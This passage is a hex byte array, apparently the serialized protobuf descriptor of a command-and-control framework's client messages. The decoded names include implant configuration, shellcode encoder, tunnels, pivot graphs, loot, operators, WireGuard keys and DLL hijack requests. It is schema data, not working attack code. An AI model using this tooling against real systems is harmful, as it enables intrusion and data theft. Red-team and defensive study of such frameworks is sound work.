0x10, 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, + 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, + 0x64, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, + 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x63, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x63, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, + 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x4c, 0x0a, 0x0c, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x1c, 0x0a, 0x09, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, + 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1e, 0x0a, 0x08, 0x54, 0x75, 0x6e, + 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, 0x01, 0x52, + 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x22, 0x5d, 0x0a, 0x0e, 0x43, 0x6c, 0x6f, + 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x1e, 0x0a, 0x08, 0x54, + 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, + 0x01, 0x52, 0x08, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xa1, 0x01, 0x0a, 0x0f, 0x50, 0x69, 0x76, + 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x16, 0x0a, 0x06, + 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, + 0x65, 0x72, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, + 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, + 0x6e, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x22, 0x43, 0x0a, 0x0a, + 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, 0x70, 0x68, 0x12, 0x35, 0x0a, 0x08, 0x43, 0x68, + 0x69, 0x6c, 0x64, 0x72, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x47, 0x72, 0x61, + 0x70, 0x68, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x68, 0x69, 0x6c, 0x64, 0x72, 0x65, + 0x6e, 0x22, 0x5c, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x2e, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4f, 0x70, 0x65, + 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x22, + 0xc3, 0x01, 0x0a, 0x05, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x45, 0x76, 0x65, + 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x45, 0x76, + 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x07, 0x53, 0x65, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x1f, 0x0a, 0x03, 0x4a, 0x6f, 0x62, 0x18, 0x03, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x4a, 0x6f, 0x62, + 0x52, 0x03, 0x4a, 0x6f, 0x62, 0x12, 0x28, 0x0a, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x10, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x52, 0x06, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, + 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, + 0x61, 0x74, 0x61, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x03, 0x45, 0x72, 0x72, 0x22, 0x3d, 0x0a, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, + 0x72, 0x73, 0x12, 0x30, 0x0a, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x73, 0x18, + 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, 0x52, 0x09, 0x4f, 0x70, 0x65, 0x72, 0x61, + 0x74, 0x6f, 0x72, 0x73, 0x22, 0x36, 0x0a, 0x08, 0x4f, 0x70, 0x65, 0x72, 0x61, 0x74, 0x6f, 0x72, + 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0xde, 0x01, 0x0a, + 0x0a, 0x57, 0x65, 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, + 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x57, + 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, + 0x68, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x20, 0x0a, + 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x0b, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, + 0x16, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x04, 0x42, 0x02, 0x30, + 0x01, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4f, 0x72, 0x69, 0x67, 0x69, + 0x6e, 0x61, 0x6c, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x4f, + 0x72, 0x69, 0x67, 0x69, 0x6e, 0x61, 0x6c, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x53, + 0x68, 0x61, 0x32, 0x35, 0x36, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x53, 0x68, 0x61, + 0x32, 0x35, 0x36, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0c, 0x52, 0x07, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0xc1, 0x01, + 0x0a, 0x11, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, 0x6f, 0x6e, 0x74, + 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x45, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, + 0x6e, 0x74, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x29, 0x2e, 0x63, 0x6c, 0x69, 0x65, + 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x41, 0x64, 0x64, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x1a, 0x51, + 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, + 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, + 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, 0x43, + 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x22, 0x40, 0x0a, 0x14, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x52, 0x65, 0x6d, 0x6f, + 0x76, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x14, 0x0a, + 0x05, 0x50, 0x61, 0x74, 0x68, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x09, 0x52, 0x05, 0x50, 0x61, + 0x74, 0x68, 0x73, 0x22, 0xbd, 0x01, 0x0a, 0x07, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x12, + 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x3b, 0x0a, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x18, + 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, + 0x2e, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x2e, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, + 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x08, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, + 0x1a, 0x51, 0x0a, 0x0d, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x14, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, + 0x62, 0x43, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, + 0x02, 0x38, 0x01, 0x22, 0x39, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x12, + 0x2d, 0x0a, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x57, 0x65, 0x62, + 0x73, 0x69, 0x74, 0x65, 0x52, 0x08, 0x57, 0x65, 0x62, 0x73, 0x69, 0x74, 0x65, 0x73, 0x22, 0xa0, + 0x01, 0x0a, 0x0e, 0x57, 0x47, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x22, 0x0a, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, + 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, + 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x10, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, + 0x79, 0x12, 0x22, 0x0a, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, 0x75, 0x62, 0x4b, 0x65, + 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x50, + 0x75, 0x62, 0x4b, 0x65, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, + 0x50, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x49, + 0x50, 0x22, 0xba, 0x01, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2e, + 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, + 0x32, 0x12, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, + 0x54, 0x79, 0x70, 0x65, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x26, + 0x0a, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, + 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x4f, 0x72, 0x69, 0x67, 0x69, 0x6e, 0x48, 0x6f, + 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x05, + 0x20, 0x01, 0x28, 0x03, 0x52, 0x04, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, + 0x6c, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x2d, + 0x0a, 0x07, 0x41, 0x6c, 0x6c, 0x4c, 0x6f, 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x04, 0x4c, 0x6f, 0x6f, + 0x74, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x70, 0x62, 0x2e, 0x4c, 0x6f, 0x6f, 0x74, 0x52, 0x04, 0x4c, 0x6f, 0x6f, 0x74, 0x22, 0x45, 0x0a, + 0x03, 0x49, 0x4f, 0x43, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x50, 0x61, 0x74, 0x68, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, + 0x48, 0x61, 0x73, 0x68, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, + 0x48, 0x61, 0x73, 0x68, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x02, 0x49, 0x44, 0x22, 0x27, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4f, 0x75, 0x74, 0x70, 0x75, 0x74, 0x22, 0xef, 0x02, + 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x03, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, + 0x0a, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x09, 0x4f, 0x53, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x21, 0x0a, 0x04, + 0x49, 0x4f, 0x43, 0x73, 0x18, 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0d, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x4f, 0x43, 0x52, 0x04, 0x49, 0x4f, 0x43, 0x73, 0x12, + 0x47, 0x0a, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, + 0x18, 0x06, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x21, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, + 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, + 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0d, 0x45, 0x78, 0x74, 0x65, 0x6e, + 0x73, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, + 0x6c, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, + 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, + 0x18, 0x08, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, + 0x74, 0x61, 0x63, 0x74, 0x1a, 0x59, 0x0a, 0x12, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, + 0x6e, 0x44, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, + 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, + 0x44, 0x61, 0x74, 0x61, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, + 0x30, 0x0a, 0x08, 0x41, 0x6c, 0x6c, 0x48, 0x6f, 0x73, 0x74, 0x73, 0x12, 0x24, 0x0a, 0x05, 0x48, + 0x6f, 0x73, 0x74, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, + 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x48, 0x6f, 0x73, 0x74, 0x52, 0x05, 0x48, 0x6f, 0x73, 0x74, + 0x73, 0x22, 0x87, 0x02, 0x0a, 0x0c, 0x44, 0x6c, 0x6c, 0x48, 0x69, 0x6a, 0x61, 0x63, 0x6b, 0x52, + 0x65, 0x71, 0x12, 0x2a, 0x0a, 0x10, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, + 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x52, 0x65, + 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x44, 0x4c, 0x4c, 0x50, 0x61, 0x74, 0x68, 0x12, 0x26, + 0x0a, 